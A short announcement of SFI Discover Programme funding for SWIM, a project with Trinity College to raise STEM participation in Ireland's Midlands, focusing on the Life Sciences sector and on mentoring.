‘We are delighted to have received the funding from SFI, though its SFI Discover Programme Call, for this exciting new project, which aims to increase participation in STEM education and careers in our region. A new suite of activities will be delivered in collaboration with Trinity College and will specifically focus on the Midlands Life Sciences sec tor, which has strong potential for cluster development and growth. Proposed activities will address economic and educational disadvantage whilst also focussing on the potential the region has in this particular sec tor. We are looking forward to working with both industry and academic partners in rolling this out for 2015.’

The project will place a strong emphasis on men toring from those in the education and corporate sec tors and also from role models and champions for Life Sciences education.
SWIM will make a strong contribution to Ireland’s national vision to be a global knowledge leader that places scientific and engineering research at the core of its society to power economic development and social progress. It also contributes to bringing such development and progress to a region, which has issues related to economic development and educational attainment.

Keep an eye out to see how this project develops in the year ahead!
